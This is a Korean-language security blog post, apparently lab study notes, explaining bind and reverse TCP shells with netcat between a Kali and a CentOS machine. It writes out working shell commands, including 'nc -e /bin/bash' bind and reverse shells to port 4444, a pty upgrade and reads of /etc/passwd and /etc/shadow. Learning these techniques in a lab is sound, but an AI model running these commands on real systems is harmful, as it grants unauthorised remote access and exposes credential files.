@ 01_Bind&Reverse TCP
1. Bind TCP
- 공격자가 타겟으로 TCP Syn를 전송하여 TCP 연결을 실시하는 공격이다.
- 이때, 타겟은 특정 포트에 대해서 TCP 연결 대기 상태(Listen)가 되어야 한다. (Ex : 백도어)
- 타겟이 공인 IP 환경이라면 Bind TCP 공격이 가능하지만, 사설 IP 환경이라면 공격이 불가능하다. -> 타겟 ip를 알 수 없 기 때문에
- 단, 포트 포워딩(정적 NAT)이 구성된 서버 및 시스템은 공격이 가능하다.
- (Ex : 백도어) - tcp 4444 를 open할 수 있게 악성코드를 타겟에 삽입 후 Bind TCP 공격을 한다.
- TCP 연결이 성공하면 Telnet, ssh 처럼 사용할 수 있다.
공격자 타켓(TCP 포트 4444 Listen)
Kali Linux CentOS
Syn ->
<- Syn+Ack
Ack ->
TCP 연결 성립
2. Reverse TCP
- 타켓이 공격자쪽으로 TCP Syn를 전송하여 TCP 연결을 실시하는 공격이다.
- 이때, 공격자는 특정 포트에 대해서 TCP 연결 대기 상태(Listen)가 되어야 한다.
- 내부 타겟이 사설 or 공인 IP 환경에서 사용이 가능하다.
- 타겟이 공격자한테 포트번호 4444로 syn를 보낼수있게 악성코드를 삽입한다.(EX.백도어)
공격자(TCP 포트 4444 Listen) 타켓
Kali Linux CentOS
<- Syn
Syn+Ack ->
<- Ack
TCP 연결 성립
[참고] nc(netcat)
- 참고 사이트 : https://en.wikipedia.org/wiki/Netcat
-n 도메인 이름 대신에 번호(IP 주소/포트 번호)로 출력
-v 상세 정보 출력
-p 대기 포트 지정
-l TCP 대기 상태 설정
Ex1) Bind TCP 이해
공격자 타겟
Kali Linux(192.168.20.50) CentOS(192.168.20.200)
Syn -> TCP Port 4444 대기 상태
- CentOS에서 'nc'를 이용하여 TCP 포트 4444 연결 대기 상태로 설정한다.
[root@CentOS /root]# ls
[root@CentOS /root]# cd nc
[root@CentOS /root/nc]# ls
[root@CentOS /root/nc]# ./nc -e /bin/bash -vlp 4444 &
- CentOS에서 TCP 포트 4444 연결 대기 상태를 확인한다.
[root@CentOS /root]# netstat -nltp | head -2 ; netstat -nltp | grep 4444
타겟 포트번호 4444가 LISTEN 상태이다.
- Kali에서 TCP Syn를 전송하여 Bind TCP 연결을 실시한다.
root@kali:~# nc 192.168.20.200 4444
id
whoami
pwd
uname -a
python -c 'import pty;pty.spawn("/bin/bash")'
TCP 연결이 성공한 후 마치 Telnet, ssh 연결이 된것처럼 보인다.
[root@CentOS /root/nc]# cat /etc/passwd
[root@CentOS /root/nc]# cat /etc/shadow
위와같이 정보 확인도 가능하다.
- CentOS에서 TCP 포트 4444 연결 상태를 확인한다.
[root@CentOS /root]# netstat -ntp | head -2 ; netstat -ntp | grep 4444
4444포트가 ESTABLISHED이다.
- Kali에서 nc 프로세스를 종료한다.
[root@CentOS /root/nc]# (Ctrl+C)
root@kali:~#
Ex2) Reverse TCP 이해
공격자 타겟
Kali(192.168.20.50) CentOS(192.168.20.200)
TCP Port 4444 대기 상태 <- Syn
- Kali에서 'nc'를 이용하여 TCP 포트 4444 연결 대기 상태로 설정한다.
root@kali:~# nc -nvlp 4444
- Kali에서 다른 터미널창을 이용하여 TCP 포트 4444 연결 대기 상태를 확인한다.
root@kali:~# netstat -nltp
4444 포트가 LISTEN 상태이다.
- CentOS에서 TCP Syn를 전송하여 Reverse TCP 연결을 실시한다.
[root@CentOS /root/nc]# ./nc -e /bin/bash 192.168.20.50 4444
- Kali에서 Reverse TCP 연결 상태를 확인한다.
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.20.50] from (UNKNOWN) [192.168.20.200] 36966
id
whoami
pwd
uname -a
python -c 'import pty;pty.spawn("/bin/bash")'
[root@CentOS /root/nc]# cat /etc/passwd
[root@CentOS /root/nc]# cat /etc/shadow
TCP 연결이 성공한 후 마치 Telnet, ssh 연결이 된것처럼 보인다.
- Kali에서 다른 터미널창을 이용하여 TCP 포트 4444 연결 상태를 확인한다.
root@kali:~# netstat -ntp
- Kali에서 nc 프로세스를 종료한다.
[root@CentOS /root/nc]# (Ctrl+C)
root@kali:~#
'시스템 보안' 카테고리의 다른 글
레지스터 구조 (0) | 2022.07.06 |
---|---|
Metasploit (0) | 2022.07.04 |
Bash Shellshock 취약점 (0) | 2022.07.03 |
nmap 스캔 도구 (0) | 2022.07.02 |